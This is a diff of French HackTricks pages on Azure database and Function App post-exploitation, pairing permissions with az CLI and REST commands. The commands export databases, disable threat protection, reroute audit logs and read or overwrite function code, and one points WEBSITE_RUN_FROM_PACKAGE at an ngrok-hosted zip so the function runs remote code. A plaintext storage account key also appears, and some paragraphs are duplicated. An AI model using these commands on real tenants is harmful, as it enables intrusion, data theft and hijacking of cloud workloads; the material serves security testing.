--state <Enabled|Disabled>
```
{% endcode %}
### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write`
### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
Avec cette autorisation, vous pouvez créer ou modifier des règles de pare-feu pour une instance de serveur MySQL Flexible sur Azure. Cela permet de contrôler quelles adresses IP ou plages peuvent accéder au serveur. Une utilisation non autorisée ou inappropriée de cette autorisation pourrait exposer le serveur à un accès indésirable ou malveillant.
{% code overflow="wrap" %}
Avec cette autorisation, vous pouvez créer ou modifier des règles de pare-feu pour une instance de serveur MySQL Flexible sur Azure. Cela permet de contrôler quels adresses IP ou plages peuvent accéder au serveur. Une utilisation non autorisée ou inappropriée de cette autorisation pourrait exposer le serveur à un accès indésirable ou malveillant.
```bash
# Create Rule
az mysql flexible-server firewall-rule create \
@@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \
--start-ip-address <start_ip> \
--end-ip-address <end_ip>
```
{% endcode %}
### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action`
### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
Avec cette autorisation, vous pouvez réinitialiser le GTID (Identifiant de Transaction Global) pour une instance de MySQL Flexible Server sur Azure. La réinitialisation du GTID invalidera toutes les sauvegardes automatisées, à la demande et les sauvegardes géographiques qui ont été effectuées avant l'action de réinitialisation. Après la réinitialisation du GTID, vous ne pourrez pas effectuer de PITR (restauration à un instant donné) en utilisant le point de restauration le plus rapide ou par un point de restauration personnalisé si le temps de restauration sélectionné est antérieur au temps de réinitialisation du GTID. Et la restauration géographique réussie ne sera possible qu'après 5 jours.
{% code overflow="wrap" %}
Avec cette autorisation, vous pouvez réinitialiser le GTID (Global Transaction Identifier) pour une instance de serveur flexible MySQL sur Azure. La réinitialisation du GTID invalidera toutes les sauvegardes automatisées, à la demande et les sauvegardes géographiques qui ont été effectuées avant l'action de réinitialisation. Après la réinitialisation du GTID, vous ne pourrez pas effectuer de PITR (point-in-time-restore) en utilisant le point de restauration le plus rapide ou par un point de restauration personnalisé si le temps de restauration sélectionné est antérieur au temps de réinitialisation du GTID. Et la restauration géographique réussie ne sera possible qu'après 5 jours.
```bash
az mysql flexible-server reset-gtid \
--name \
--resource-group <resource_group_name> \
--gtid-set <gtid>
```
{% endcode %}
### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action`
Avec cette autorisation, vous pouvez mettre à jour les paramètres de configuration d'une instance de MySQL Flexible Server sur Azure. Cela permet de personnaliser les paramètres du serveur tels que l'optimisation des performances, les configurations de sécurité ou les paramètres opérationnels. Vous pouvez mettre à jour les paramètres suivants ensemble dans un lot : audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, et max_connections.
{% code overflow="wrap" %}
```bash
az mysql flexible-server parameter set-batch \
--resource-group <resource_group_name> \
--server-name <server_name> \
--args max_connections=<value>
```
{% endcode %}
### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Avec cette autorisation, vous pouvez attribuer une identité gérée assignée par l'utilisateur aux serveurs MySQL flexibles.
{% code overflow="wrap" %}
```bash
az mysql flexible-server identity assign \
--resource-group <ResourceGroupName> \
--server-name <ServerName> \
--identity <IdentityName>
```
{% endcode %}
### "Microsoft.DBforMySQL/flexibleServers/stop/action"
### `Microsoft.DBforMySQL/flexibleServers/stop/action`
Avec cette autorisation, vous pouvez arrêter une instance de serveur flexible PostgreSQL sur Azure. L'arrêt d'un serveur peut entraîner une interruption temporaire du service, affectant les applications et les utilisateurs dépendants de la base de données.
{% code overflow="wrap" %}
```bash
az mysql flexible-server stop \
--name <server_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.DBforMySQL/flexibleServers/start/action"
### `Microsoft.DBforMySQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
{% code overflow="wrap" %}
```bash
az mysql flexible-server start \
--name <server_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "*/delete"
### `*/delete`
With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations

View File

@@ -5,54 +5,40 @@
## PostgreSQL Database Post Exploitation
Pour plus d'informations sur PostgreSQL Database, consultez :
{% content-ref url="../az-services/az-postgresql.md" %}
[az-postgresql.md](../az-services/az-postgresql.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-postgresql.md
{{#endref}}
### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
Avec cette permission, vous pouvez créer de nouvelles bases de données au sein d'une instance de Postgres Flexible Server sur Azure. Bien que cette action ne modifie pas les ressources existantes, la création excessive ou non autorisée de bases de données pourrait entraîner une consommation de ressources ou un potentiel abus du serveur.
{% code overflow="wrap" %}
```bash
az postgres flexible-server db create \
--server-name <server_name> \
--resource-group <resource_group_name> \
--database-name <database_name>
```
{% endcode %}
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
Avec cette autorisation, vous pouvez initier la création de sauvegardes pour une instance de serveur flexible Postgres sur Azure. Cela permet aux utilisateurs de générer des sauvegardes à la demande, ce qui peut être utile pour préserver les données à des moments spécifiques.
{% code overflow="wrap" %}
Avec cette autorisation, vous pouvez initier la création de sauvegardes pour une instance de Postgres Flexible Server sur Azure. Cela permet aux utilisateurs de générer des sauvegardes à la demande, ce qui peut être utile pour préserver des données à des moments spécifiques.
```bash
az postgres flexible-server backup create \
--name <server_name> \
--resource-group <resource_group_name>
--backup-name <backup_name>
```
{% endcode %}
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
Avec cette autorisation, vous pouvez configurer ou mettre à jour les paramètres de Protection Avancée contre les Menaces (ATP) pour une instance de Serveur Flexible Postgres sur Azure. Cela permet d'activer ou de désactiver des fonctionnalités de sécurité conçues pour détecter et répondre à des activités anormales et à des menaces potentielles.
{% code overflow="wrap" %}
Avec cette autorisation, vous pouvez configurer ou mettre à jour les paramètres de Protection Avancée contre les Menaces (ATP) pour une instance de Postgres Flexible Server sur Azure. Cela permet d'activer ou de désactiver des fonctionnalités de sécurité conçues pour détecter et répondre à des activités anormales et à des menaces potentielles.
```bash
az postgres flexible-server threat-protection-policy update \
--name <server_name> \
--resource-group <resource_group_name> \
--state <Enabled|Disabled>
```
{% endcode %}
### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
Avec cette autorisation, vous pouvez créer ou modifier des règles de pare-feu pour une instance de serveur flexible Postgres sur Azure. Cela permet de contrôler quelles adresses IP ou plages peuvent accéder au serveur. Une utilisation non autorisée ou inappropriée de cette autorisation pourrait exposer le serveur à un accès indésirable ou malveillant.
{% code overflow="wrap" %}
Avec cette autorisation, vous pouvez créer ou modifier des règles de pare-feu pour une instance de serveur flexible Postgres sur Azure. Cela permet de contrôler quels adresses IP ou plages peuvent accéder au serveur. L'utilisation non autorisée ou inappropriée de cette autorisation pourrait exposer le serveur à un accès indésirable ou malveillant.
```bash
# Create Rule
az postgres flexible-server firewall-rule create \
@@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \
--start-ip-address <start_ip> \
--end-ip-address <end_ip>
```
{% endcode %}
### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read`
Avec cette autorisation, vous pouvez mettre à jour les paramètres de configuration d'une instance de Postgres Flexible Server sur Azure. Cela permet de personnaliser les paramètres du serveur tels que l'optimisation des performances, les configurations de sécurité ou les paramètres opérationnels.
{% code overflow="wrap" %}
```bash
az postgres flexible-server parameter set \
--resource-group <resource_group_name> \
@@ -84,45 +66,36 @@ az postgres flexible-server parameter set \
--name <parameter_name> \
--value <parameter_value>
```
{% endcode %}
### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action`
Avec cette autorisation, vous pouvez arrêter une instance de serveur flexible PostgreSQL sur Azure. L'arrêt d'un serveur peut entraîner une interruption temporaire du service, affectant les applications et les utilisateurs dépendants de la base de données.
{% code overflow="wrap" %}
```bash
az postgres flexible-server stop \
--name <server_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
### `Microsoft.DBforPostgreSQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
{% code overflow="wrap" %}
```bash
az postgres flexible-server start \
--name <server_name> \
--resource-group <resource_group_name>
```
{% endcode %}
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
{% code overflow="wrap" %}
```bash
az postgres flexible-server identity assign \
--resource-group <ResourceGroupName> \
--server-name <ServerName> \
--identity <IdentityName>
```
{% endcode %}
### "*/delete"
### `*/delete`
With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations

View File

@@ -10,7 +10,7 @@ Pour plus d'informations sur SQL Database, consultez :
../az-services/az-sql.md
{{#endref}}
### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`
Avec ces autorisations, un attaquant peut créer et mettre à jour des bases de données dans l'environnement compromis. Cette activité de post-exploitation pourrait permettre à un attaquant d'ajouter des données malveillantes, de modifier les configurations de la base de données ou d'insérer des portes dérobées pour une persistance supplémentaire, perturbant potentiellement les opérations ou permettant des actions malveillantes supplémentaires.
```bash
@@ -20,7 +20,7 @@ az sql db create --resource-group <resource-group> --server <server-name> --name
# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
```
### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`
Avec ces autorisations, un attaquant peut créer et mettre à jour des elasticPools au sein de l'environnement compromis. Cette activité de post-exploitation pourrait permettre à un attaquant d'ajouter des données malveillantes, de modifier les configurations de la base de données ou d'insérer des portes dérobées pour une persistance supplémentaire, perturbant potentiellement les opérations ou permettant des actions malveillantes supplémentaires.
```bash
@@ -40,9 +40,9 @@ az sql elastic-pool update \
--dtu <new-dtu-value> \
--tags <key=value>
```
### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`
Avec cette autorisation, vous pouvez modifier ou activer les paramètres d'audit sur un Azure SQL Server. Cela pourrait permettre à un attaquant ou à un utilisateur autorisé de manipuler les configurations d'audit, potentiellement pour dissimuler des traces ou rediriger les journaux d'audit vers un emplacement sous leur contrôle. Cela peut entraver la surveillance de la sécurité ou permettre de suivre les actions. REMARQUE : Pour activer l'audit pour un Azure SQL Server en utilisant Blob Storage, vous devez attacher un compte de stockage où les journaux d'audit peuvent être enregistrés.
Avec cette autorisation, vous pouvez modifier ou activer les paramètres d'audit sur un Azure SQL Server. Cela pourrait permettre à un attaquant ou à un utilisateur autorisé de manipuler les configurations d'audit, couvrant potentiellement leurs traces ou redirigeant les journaux d'audit vers un emplacement sous leur contrôle. Cela peut entraver la surveillance de la sécurité ou permettre de suivre les actions. REMARQUE : Pour activer l'audit pour un Azure SQL Server en utilisant Blob Storage, vous devez attacher un compte de stockage où les journaux d'audit peuvent être enregistrés.
```bash
az sql server audit-policy update \
--server <server_name> \
@@ -51,7 +51,7 @@ az sql server audit-policy update \
--storage-account <storage_account_name> \
--retention-days 7
```
### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write`
Avec cette autorisation, vous pouvez modifier les politiques de connexion d'un serveur SQL Azure. Cette capacité peut être exploitée pour activer ou changer les paramètres de connexion au niveau du serveur.
```bash
@@ -60,9 +60,9 @@ az sql server connection-policy update \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
```
### "Microsoft.Sql/servers/databases/export/action"
### `Microsoft.Sql/servers/databases/export/action`
Avec cette autorisation, vous pouvez exporter une base de données d'un Azure SQL Server vers un compte de stockage. Un attaquant ou un utilisateur autorisé disposant de cette autorisation peut exfiltrer des données sensibles de la base de données en l'exportant vers un emplacement qu'il contrôle, posant un risque de violation de données significatif. Il est important de connaître la clé de stockage pour pouvoir effectuer cela.
Avec cette autorisation, vous pouvez exporter une base de données d'un Azure SQL Server vers un compte de stockage. Un attaquant ou un utilisateur autorisé disposant de cette autorisation peut exfiltrer des données sensibles de la base de données en l'exportant vers un emplacement qu'il contrôle, ce qui représente un risque de violation de données significatif. Il est important de connaître la clé de stockage pour pouvoir effectuer cela.
```bash
az sql db export \
--server <server_name> \
@@ -74,9 +74,9 @@ az sql db export \
--admin-password <admin_password>
```
### "Microsoft.Sql/servers/databases/import/action"
### `Microsoft.Sql/servers/databases/import/action`
Avec cette autorisation, vous pouvez importer une base de données dans un serveur Azure SQL. Un attaquant ou un utilisateur autorisé avec cette autorisation peut potentiellement télécharger des bases de données malveillantes ou manipulées. Cela peut conduire à un contrôle sur des données sensibles ou à l'insertion de scripts ou de déclencheurs nuisibles dans la base de données importée. De plus, vous pouvez l'importer sur votre propre serveur dans Azure. Remarque : Le serveur doit permettre aux services et ressources Azure d'accéder au serveur.
Avec cette autorisation, vous pouvez importer une base de données dans un Azure SQL Server. Un attaquant ou un utilisateur autorisé disposant de cette autorisation peut potentiellement télécharger des bases de données malveillantes ou manipulées. Cela peut conduire à un contrôle sur des données sensibles ou à l'insertion de scripts ou de déclencheurs nuisibles dans la base de données importée. De plus, vous pouvez l'importer sur votre propre serveur dans Azure. Remarque : Le serveur doit autoriser les services et ressources Azure à accéder au serveur.
```bash
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
@@ -85,6 +85,6 @@ az sql db import --admin-user <admin-user> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri "https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -5,15 +5,13 @@
## CosmosDB Privesc
Pour plus d'informations sur SQL Database, consultez :
{% content-ref url="../az-services/az-cosmosDB.md" %}
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
{% endcontent-ref %}
{{#ref}}
../az-services/az-cosmosDB.md
{{#endref}}
### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)
Avec ces permissions, vous pouvez escalader les privilèges en donnant à un utilisateur les permissions d'exécuter des requêtes et de se connecter à la base de données. Tout d'abord, un rôle de définition est créé en donnant les permissions et les portées nécessaires.
{% code overflow="wrap" %}
```bash
az cosmosdb sql role definition create \
--account-name <account_name> \
@@ -36,11 +34,7 @@ az cosmosdb sql role definition create \
]
}'
```
{% endcode %}
Après cela, l'attribution de la définition est donnée à un utilisateur. Après cela, cet utilisateur peut utiliser la méthode de connexion DefaultAzureCredential() pour exécuter des requêtes.
{% code overflow="wrap" %}
```bash
az cosmosdb sql role assignment create \
--account-name <account_name> \
@@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \
--principal-id <principal_id-togive-perms> \
--scope "/"
```
{% endcode %}
### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
Avec cette autorisation, vous pouvez récupérer les clés primaire et secondaire pour un compte Azure Cosmos DB. Ces clés offrent un accès complet au compte de base de données et à ses ressources, permettant des actions telles que la lecture, l'écriture de données et les modifications de configuration.
{% code overflow="wrap" %}
```bash
az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>
```
{% endcode %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Function Apps
Consultez la page suivante pour plus d'informations :
Check the following page for more information:
{{#ref}}
../az-services/az-function-apps.md
@@ -18,9 +18,9 @@ Une fois que vous avez trouvé où le code de la fonction est situé, si vous av
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` et `WEBSITE_CONTENTSHARE`)
Le code de la fonction est généralement stocké à l'intérieur d'un partage de fichiers. Avec suffisamment d'accès, il est possible de modifier le fichier de code et **de faire charger du code arbitraire** permettant d'élever les privilèges aux identités gérées attachées à la fonction.
Le code de la fonction est généralement stocké à l'intérieur d'un partage de fichiers. Avec suffisamment d'accès, il est possible de modifier le fichier de code et **de faire charger à la fonction un code arbitraire**, permettant d'élever les privilèges aux identités gérées attachées à la fonction.
Cette méthode de déploiement configure généralement les paramètres **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** et **`WEBSITE_CONTENTSHARE`** que vous pouvez obtenir de&#x20;
Cette méthode de déploiement configure généralement les paramètres **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** et **`WEBSITE_CONTENTSHARE`** que vous pouvez obtenir de
```bash
az functionapp config appsettings list \
--name <app-name> \
@@ -29,7 +29,7 @@ az functionapp config appsettings list \
Ces configurations contiendront la **clé du compte de stockage** que la fonction peut utiliser pour accéder au code.
> [!CAUTION]
> Avec suffisamment de permissions pour se connecter au partage de fichiers et **modifier le script**, il est possible d'exécuter du code arbitraire dans la fonction et d'escalader les privilèges.
> Avec suffisamment de permissions pour se connecter au partage de fichiers et **modifier le script** en cours d'exécution, il est possible d'exécuter du code arbitraire dans la fonction et d'escalader les privilèges.
L'exemple suivant utilise macOS pour se connecter au partage de fichiers, mais il est recommandé de consulter également la page suivante pour plus d'informations sur les partages de fichiers :
@@ -47,7 +47,7 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
Il est également courant de trouver les **zip releases** dans le dossier `function-releases` du conteneur du compte de stockage que l'application de fonction utilise dans un conteneur **généralement appelé `function-releases`**.
Il est également courant de trouver les **zip releases** à l'intérieur du dossier `function-releases` du conteneur du compte de stockage que l'application de fonction utilise dans un conteneur **généralement appelé `function-releases`**.
En général, cette méthode de déploiement définira la configuration `WEBSITE_RUN_FROM_PACKAGE` dans :
```bash
@@ -116,13 +116,13 @@ az storage blob upload \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
```
### Microsoft.Web/sites/host/listkeys/action
### `Microsoft.Web/sites/host/listkeys/action`
Cette autorisation permet de lister les clés de fonction, de maître et système, mais pas celle de l'hôte, de la fonction spécifiée avec :
Cette permission permet de lister les clés de fonction, maître et système, mais pas la clé hôte, de la fonction spécifiée avec :
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
Avec la clé maître, il est également possible d'obtenir le code source à une URL comme :
Avec la clé maître, il est également possible d'obtenir le code source dans une URL comme :
```bash
# Get "script_href" from
az rest --method GET \
@@ -143,49 +143,49 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro
-H "If-Match: *" \
-v
```
### Microsoft.Web/sites/functions/listKeys/action
### `Microsoft.Web/sites/functions/listKeys/action`
Cette autorisation permet d'obtenir la clé d'hôte de la fonction spécifiée avec :
Cette permission permet d'obtenir la clé d'hôte de la fonction spécifiée avec :
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
### Microsoft.Web/sites/host/functionKeys/write
### `Microsoft.Web/sites/host/functionKeys/write`
Cette autorisation permet de créer/mette à jour une clé de fonction de la fonction spécifiée avec :
Cette autorisation permet de créer/met à jour une clé de fonction de la fonction spécifiée avec :
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### Microsoft.Web/sites/host/masterKey/write
### `Microsoft.Web/sites/host/masterKey/write`
Cette permission permet de créer/met à jour une clé maître pour la fonction spécifiée avec :
Cette autorisation permet de créer/met à jour une clé maître pour la fonction spécifiée avec :
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> N'oubliez pas qu'avec cette clé, vous pouvez également accéder au code source et le modifier comme expliqué précédemment !
### Microsoft.Web/sites/host/systemKeys/write
### `Microsoft.Web/sites/host/systemKeys/write`
Cette autorisation permet de créer/mette à jour une clé de fonction système pour la fonction spécifiée avec :
Cette autorisation permet de créer/met à jour une clé de fonction système pour la fonction spécifiée avec :
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### Microsoft.Web/sites/config/list/action
### `Microsoft.Web/sites/config/list/action`
Cette permission permet d'obtenir les paramètres d'une fonction. Dans ces configurations, il pourrait être possible de trouver les valeurs par défaut **`AzureWebJobsStorage`** ou **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** qui contiennent une **clé de compte pour accéder au stockage blob de la fonction avec des permissions COMPLETES**.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
De plus, cette autorisation permet également d'obtenir le **nom d'utilisateur et le mot de passe SCM** (si activé) avec :
De plus, cette autorisation permet également d'obtenir le **nom d'utilisateur et le mot de passe SCM** (s'ils sont activés) avec :
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
Ces permissions permettent de lister les valeurs de configuration d'une fonction comme nous l'avons vu précédemment, en plus de **modifier ces valeurs**. Cela est utile car ces paramètres indiquent où se trouve le code à exécuter à l'intérieur de la fonction.&#x20;
Ces permissions permettent de lister les valeurs de configuration d'une fonction comme nous l'avons vu précédemment, en plus de **modifier ces valeurs**. Cela est utile car ces paramètres indiquent où se trouve le code à exécuter à l'intérieur de la fonction.
Il est donc possible de définir la valeur du paramètre **`WEBSITE_RUN_FROM_PACKAGE`** pointant vers un fichier zip d'URL contenant le nouveau code à exécuter à l'intérieur d'une application web :
Il est donc possible de définir la valeur du paramètre **`WEBSITE_RUN_FROM_PACKAGE`** pointant vers un fichier zip URL contenant le nouveau code à exécuter à l'intérieur d'une application web :
- Commencez par obtenir la configuration actuelle
```bash
@@ -205,7 +205,7 @@ ngrok http 8000
```
- Modifiez la fonction, conservez les paramètres précédents et ajoutez à la fin la configuration **`WEBSITE_RUN_FROM_PACKAGE`** pointant vers l'URL contenant le **zip** avec le code.
L'exemple suivant montre mes **propres paramètres que vous devrez modifier pour les vôtres**, notez à la fin les valeurs `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , c'est ici que j'hébergeais l'application.
L'exemple suivant montre mes **propres paramètres que vous devrez modifier pour les vôtres**, notez à la fin les valeurs `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, c'est là où j'hébergeais l'application.
```bash
# Modify the function
az rest --method PUT \
@@ -213,7 +213,7 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
```
### Microsoft.Web/sites/hostruntime/vfs/write
### `Microsoft.Web/sites/hostruntime/vfs/write`
Avec cette autorisation, il est **possible de modifier le code d'une application** via la console web (ou via le point de terminaison API suivant) :
```bash
@@ -224,9 +224,9 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
```
### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Cette autorisation permet de lister tous les profils de publication qui contiennent essentiellement **des informations d'identification d'authentification de base** :
Cette autorisation permet de lister tous les profils de publication qui contiennent essentiellement **des identifiants d'authentification de base** :
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
@@ -299,36 +299,27 @@ put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and depl
```
_Remarque que le **nom d'utilisateur FTP** est généralement au format \<app-name>\\$\<app-name>._
### Microsoft.Web/sites/publish/Action
### `Microsoft.Web/sites/hostruntime/vfs/read`
Selon [**la documentation**](https://github.com/projectkudu/kudu/wiki/REST-API#command), cette permission permet **d'exécuter des commandes à l'intérieur du serveur SCM**, ce qui pourrait être utilisé pour modifier le code source de l'application :
```bash
az rest --method POST \
--resource "https://management.azure.com/" \
--url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
--body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
```
### Microsoft.Web/sites/hostruntime/vfs/read
Cette permission permet de **lire le code source** de l'application via le VFS :
Cette autorisation permet de **lire le code source** de l'application via le VFS :
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### Microsoft.Web/sites/functions/token/action
### `Microsoft.Web/sites/functions/token/action`
